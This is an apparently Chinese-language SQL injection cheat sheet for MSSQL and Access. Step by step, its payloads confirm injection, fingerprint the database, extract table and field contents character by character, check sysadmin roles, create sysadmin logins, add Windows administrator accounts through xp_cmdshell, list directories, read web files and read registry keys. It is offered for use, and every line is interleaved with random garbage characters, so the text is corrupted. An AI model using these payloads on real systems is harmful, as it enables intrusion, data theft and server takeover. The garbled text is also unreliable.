1.判断是否有注入;and 1=1 ;and 1=2 z8JdA%YBM
2.初步判断是否是mssql ;and user>0 FA$1&Fu3Y
d)1Pl3+
3.注入参数是字符'and [查询条件] and ''=' jrN"en
dQ-:]T (
4.搜索时没过滤参数的'and [查询条件] and '%25'=' |Ye%HpTTv
,M0#?j>
5.判断数据库系统 x.%x|6G*
+Z/aB*aVa^
;and (select count(*) from sysobjects)>0 mssql iM_Zn!|@\
:O9i:Xq[QW
;and (select count(*) from msysobjects)>0 access 9B9:lR
MVkO >s
Yq0j w&v
Evt&N)l!^
6.猜数据库 ;and (select Count(*) from [数据库名])>0 dkAY%z two
_i pY;
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 C^fUhLVSZ^
;%mYsQ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 u&Cu"-%=M
L4!T
9.(1)猜字段的ascii值(access) \QP1jB
-_T@kg[0zB
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 C@OY)!x!
^"{txd?6
(2)猜字段的ascii值(mssql) s5&v~I;>e
:d}@Z}2sD
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 ;t5e]
!cA4erBP
10.测试权限结构(mssql) xC
YL3hl
|#J!oBS!
o l8|
Rdl^-\BV
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- rssn'h
us >$f20T
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- l g43
]:n! \G
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- p -wEPC0
BkJNu_{m?
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- 0Q5fX}
{Ax{N
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- ;To][J
XHYVcwmDz-
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- 57rH`UFXH
]}A3Pm- t*
;and 1=(select IS_MEMBER('db_owner'));-- R6E.C!EI
W?2Z31;7
'Ej&zh
1gh<nn
11.添加mssql和系统的帐户 G21cJi*
7yFV.#K3O
;exec master.dbo.sp_addlogin username;-- .?LP$O=
;exec master.dbo.sp_password null,username,password;-- F8OE
1zWEK]2.R
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- We:b1sZR
-=VGXd
;exec master.dbo.xp_cmdshell 'net user username password tY0C& u2
e> Q_&6L
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- b^C2<'
'G8.)eTA'
;exec master.dbo.xp_cmdshell 'net user username password /add';-- cRS2v--\-
B^lm'/,@
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- {3){f;b
eG\`SKx_
9xM7X?
ctT6va
12.(1)遍历目录 pHv~^L%=
N3?@CM^hHw
;create table dirs(paths varchar(100), id int) '/~j!H4q9
m\;@~o'k
;insert dirs exec master.dbo.xp_dirtree 'c:\' vj4n=F,Z
Qv/Kb w
N{
;and (select top 1 paths from dirs)>0 ,-.a! a
';Ew-u
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) (f>~+-IL
qb?9i-(
Ai 5|N
d,*#yzO
(2)遍历目录 zqs|~W]c
Av"^uevfs
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- EjFK zx
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ht5eb"c+8
Dfl%Knl@J
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 cUK9EOPe
"?(N
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 e sDd>W
8"KaW2/%
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 ).uR@j
sEm064
~CQTPR
^E= w3g&
13.mssql中的存储过程 *\T
]Z&E"
FCPiU3
xp_regenumvalues 注册表根键, 子键 #azD&6`
2#t35fU
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 w//L2.
gbL!8Z1h
xp_regread 根键,子键,键值名 iES?}K/q
iU9> qJ]
;exec xp_regread %VmHw~xyF:
0
V3`rK
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 <